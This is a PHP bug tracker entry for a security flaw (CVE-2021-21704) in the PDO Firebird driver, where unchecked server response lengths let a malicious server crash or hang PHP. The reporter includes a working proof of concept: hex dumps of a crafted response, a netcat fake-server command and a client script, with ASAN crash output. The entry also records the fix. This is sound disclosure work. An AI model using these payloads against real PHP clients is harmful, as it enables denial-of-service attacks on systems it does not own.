



Sec Bug #76449 SIGSEGV in firebird_handle_doer

Submitted: 2018-06-11 19:50 UTC Modified: 2021-06-28 04:40 UTC

From: trichimtrich at gmail dot com Assigned: [stas \(profile\)](#)

Status: Closed Package: [PDO Firebird](#)

PHP Version: 7.3.0alpha1 OS:

Private report: No CVE-ID: [2021-21704](#)

[View](#) [Add Comment](#) [Developer](#) [Edit](#)

[2018-06-11 19:50 UTC] trichimtrich at gmail dot com

Description:

A bug in pdo_firebase module allows a malicious firebase server or man-in-the-middle attacker to crash PHP.

firebird_handle_doer uses response from server without verify the data, and uses wrong type to cast length, leads to crash and hang PHP.

Vulnerable code in:

```
\php-src\ext\pdo_firebird\firebird_driver.c:
134         if (result[0] == isc_info_sql_records) {
135             unsigned i = 3, result_size = isc_vax_integer(&result[1], 2);
136             while (result[i] != isc_info_end && i < result_size) {
137                 short len = (short) isc_vax_integer(&result[i + 1], 2);
138                 if (result[i] != isc_info_req_select_count) {
139                     affected_rows += isc_vax_integer(&result[i + 3], len);
140                 }
141                 i += len + 3;
```

result_size is not verified
len uses short type, that we can set len = -3 and make PHP hangs forever.

```
$ ./php --version
PHP 7.3.0-dev (cli) (built: Jun  9 2018 04:47:18) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.0-dev, Copyright (c) 1998-2018 Zend Technologies
```

Test script:

```
-----
$ xxd exec_insert.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^.....
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  .....Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth.....\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  .....Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.....
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  .....
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  .....
00000070: 0000 0001 0000 0000 0000 0000 0000 0000  .....
00000080: 0000 0001 0000 0000 0000 0000 0000 0009  .....
00000090: 0000 0002 0000 0000 0000 0000 0000 0000  .....
000000a0: 0000 0001 0000 0000 0000 0000 0000 0009  .....
000000b0: 0000 0000 0000 0000 0000 0000 0000 001f  .....
000000c0: 1504 0002 0000 001b 0400 0200 0000 0507  .....
000000d0: 0400 0000 0000 0407 0400 0000 0000 0100  .....
000000e0: 0000 0001 0000 0000 0000 0000 0000 0009  .....
000000f0: 0000 0001 0000 0000 0000 0000 0000 0000  .....
00000100: 0000 0001 0000 0000 0000 0000 0000 0009  .....
00000110: 0000 0002 0000 0000 0000 0000 0000 0021  .....!
00000120: 17ff ff0f feff 1000 0000 1004 0000 0000  .....
00000130: 000d 0400 0000 0000 0e04 0001 0000 0002  .....
00000140: 0100 0000 0000 0001 0000 0000 0000 0000  .....
00000150: 0000 0009 0000 0000 0000 0000 0000 0000  .....
00000160: 0000 0000 0000 0001 0000 0000 0000 0000  .....
00000170: 0000 0009 ffff ffff 0000 0000 0000 0000  .....
00000180: 0000 0000 0000 0001 0000 0000 0000 0000  .....
00000190: 0000 0009 0000 0000 0000 0000 0000 0000  .....
000001a0: 0000 0000 0000 0001 0000 0000 0000 0000  .....
000001b0: 0000 0009 0000 0000 0000 0000 0000 0000  .....
000001c0: 0000 0000 0000 0001 0000 0000 0000 0000  .....
```

```
$ nc -lvp 3050 < exec_insert.bin
```

```
$ cat fire_exec.php
<?php
$dsn = 'firebird:dbname=localhost:employee;charset=utf8;';
$username = 'SYSDBA';
$password = 'masterkey';

$dbh = new PDO($dsn, $username, $password, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
echo $dbh->exec("INSERT INTO test VALUES ('hihi2', 'xxxxx')");
?>
```

Expected result:

No crash
No hang

Actual result:

```
-----
$ ./php fire_exec.php
ASAN:DEADLYSIGNAL
=====
==5319==ERROR: AddressSanitizer: stack-overflow on address 0x7fffd615faa1 (pc 0x000000cd9655 bp 0x7fffd6157590 sp
0x7fffd6157240 T0)
#0 0xcd9654 in firebird_handle_doer (/mnt/hgfs/share/htdocs/php+0xcd9654)
#1 0xcdb411 in zim_PDO_exec (/mnt/hgfs/share/htdocs/php+0xcdb411)
#2 0x12e2d9f in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER (/mnt/hgfs/share/htdocs/php+0x12e2d9f)
#3 0x1212bcf in execute_ex (/mnt/hgfs/share/htdocs/php+0x1212bcf)
```

```
#4 0x121320b in zend_execute (/mnt/hgfs/share/htdocs/php+0x121320b)
#5 0x11175c0 in zend_execute_scripts (/mnt/hgfs/share/htdocs/php+0x11175c0)
#6 0xfa4878 in php_execute_script (/mnt/hgfs/share/htdocs/php+0xfa4878)
#7 0x1412cc4 in do_cli (/mnt/hgfs/share/htdocs/php+0x1412cc4)
#8 0x1410e67 in main (/mnt/hgfs/share/htdocs/php+0x1410e67)
#9 0x7fc837b782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#10 0x43d878 in _start (/mnt/hgfs/share/htdocs/php+0x43d878)

SUMMARY: AddressSanitizer: stack-overflow (/mnt/hgfs/share/htdocs/php+0xcd9654) in firebird_handle_doer
==5319==ABORTING
```

Patches

[Add a Patch](#)

Pull Requests

[Add a Pull Request](#)

History

All	Comments	Changes	Git/SVN commits	Related reports
-----	----------	---------	-----------------	-----------------

[2018-06-11 20:06 UTC] [stas@php.net](#)

-Assigned To:
+Assigned To: lwe

[2018-06-11 21:18 UTC] trichimtrich at gmail dot com

PoC hangs PHP

```
$ xxd exec_insert.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^.....
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  .....Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth.....\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  .....Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.....
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  .....
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  .....
00000070: 0000 0001 0000 0000 0000 0000 0000 0000  .....
00000080: 0000 0001 0000 0000 0000 0000 0000 0009  .....
00000090: 0000 0002 0000 0000 0000 0000 0000 0000  .....
000000a0: 0000 0001 0000 0000 0000 0000 0000 0009  .....
000000b0: 0000 0000 0000 0000 0000 0000 0000 001f  .....
000000c0: 1504 0002 0000 001b 0400 0200 0000 0507  .....
000000d0: 0400 0000 0000 0407 0400 0000 0000 0100  .....
000000e0: 0000 0001 0000 0000 0000 0000 0000 0009  .....
000000f0: 0000 0001 0000 0000 0000 0000 0000 0000  .....
00000100: 0000 0001 0000 0000 0000 0000 0000 0009  .....
00000110: 0000 0002 0000 0000 0000 0000 0000 0021  .....!
00000120: 17ff ff0f fdff 1000 0000 1004 0000 0000  .....
00000130: 000d 0400 0000 0000 0000 0e04 0001 0000  0002
00000140: 0100 0000 0000 0001 0000 0000 0000 0000  .....
00000150: 0000 0009 0000 0000 0000 0000 0000 0000  .....
00000160: 0000 0000 0000 0001 0000 0000 0000 0000  .....
00000170: 0000 0009 ffff ffff 0000 0000 0000 0000  .....
00000180: 0000 0000 0000 0001 0000 0000 0000 0000  .....
00000190: 0000 0009 0000 0000 0000 0000 0000 0000  .....
000001a0: 0000 0000 0000 0001 0000 0000 0000 0000  .....
000001b0: 0000 0009 0000 0000 0000 0000 0000 0000  .....
000001c0: 0000 0000 0000 0001 0000 0000 0000 0000  .....
```

[2018-06-28 08:31 UTC] trichimtrich at gmail dot com

any update for this one?

[2021-04-30 11:54 UTC] [cmb@php.net](#)

-Status: Assigned
+Status: Verified
-Assigned To: lwe
+Assigned To: cmb

[2021-05-05 12:15 UTC] [cmb@php.net](#)

-Assigned To: cmb
+Assigned To: stas

[2021-05-05 12:15 UTC] [cmb@php.net](#)

Suggested patch:

<<https://gist.github.com/cmb69/344574cbbdbfa305a329c0e18a752d31d>>.

This requires the payload server[1], and is developed against PHP-7.4. For PHP-7.3 at least some adjustments need to be done. I can do that, but first would like to confirm that the patch and the testing "framework" are generally acceptable.

Stas, what do you think?

[1] <<https://github.com/php/php-src/pull/6940>>

[2021-06-21 05:11 UTC] [stas@php.net](#)

-CVE-ID:
+CVE-ID: 2021-21704

[2021-06-21 06:22 UTC] [stas@php.net](#)

-Private report: No
+Private report: Yes

[2021-06-28 04:41 UTC] gjt@php.net

Automatic comment on behalf of cmb69 (author) and smalyshev (committer)
Revision: <https://github.com/php/php-src/commit/08da7c73726f7b86b67d6f0ff87c73c585a7834a>
Log: Fix #76449: SIGSEGV in firebird_handle_doer

[2021-06-28 04:41 UTC] gjt@php.net

-Status: Verified
+Status: Closed